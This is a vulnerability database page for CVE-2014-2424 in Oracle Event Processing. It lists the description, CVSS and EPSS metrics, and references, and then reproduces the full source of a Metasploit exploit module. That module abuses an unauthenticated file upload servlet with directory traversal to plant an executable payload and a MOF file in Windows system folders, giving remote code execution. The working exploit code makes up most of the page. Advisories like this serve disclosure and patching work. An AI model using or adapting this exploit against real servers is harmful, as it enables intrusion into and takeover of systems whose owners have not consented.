CVE-2014-2424 : Detail

CVE-2014-2424

77.76%V4
Network
2014-04-16
00h05 +00:00
2014-07-21
11h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Unspecified vulnerability in the Oracle Event Processing component in Oracle Fusion Middleware 11.1.1.7.0 allows remote authenticated users to affect integrity via vectors related to CEP system.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 33989

Publication date : 2014-07-06 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', 'Description' => %q{ This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be abused to upload a malicious file onto an arbitrary location due to a directory traversal flaw, and compromise the server. By default Oracle Event Processing uses a Jetty Application Server without JSP support, which limits the attack to WbemExec. The current WbemExec technique only requires arbitrary write to the file system, but at the moment the module only supports Windows 2003 SP2 or older. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-2424'], ['ZDI', '14-106'], ['BID', '66871'], ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 21 2014')) register_options( [ Opt::RPORT(9002), # By default, uploads are stored in: # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) end def upload(file_name, contents) post_data = Rex::MIME::Message.new post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") data = post_data.to_s res = send_request_cgi({ 'uri' => '/wlevs/visualizer/upload', 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => data }) res end def traversal "../" * datastore['DEPTH'] end def exploit print_status("#{peer} - Generating payload and mof file...") mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" exe_content = generate_payload_exe mof_content = generate_mof(mof_name, exe_name) print_status("#{peer} - Uploading the exe payload #{exe_name}...") exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" res = upload(exe_traversal, exe_content) unless res && res.code == 200 && res.body.blank? print_error("#{peer} - Unexpected answer, trying anyway...") end register_file_for_cleanup(exe_name) print_status("#{peer} - Uploading the MOF file #{mof_name}") mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" upload(mof_traversal, mof_content) register_file_for_cleanup("wbem/mof/good/#{mof_name}") end def check res = send_request_cgi({ 'uri' => '/ohw/help/state', 'method' => 'GET', 'vars_get' => { 'navSetId' => 'cepvi', 'navId' => '0', 'destination' => '' } }) if res && res.code == 200 if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") return Exploit::CheckCode::Detected elsif res.body.to_s.include?("Oracle Event Processing 12") return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end end

Products Mentioned

Configuraton 0

Oracle>>Fusion_middleware >> Version 11.1.1.7.0

References

http://www.osvdb.org/105844
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/66871
Tags : vdb-entry, x_refsource_BID
http://www.exploit-db.com/exploits/33989
Tags : exploit, x_refsource_EXPLOIT-DB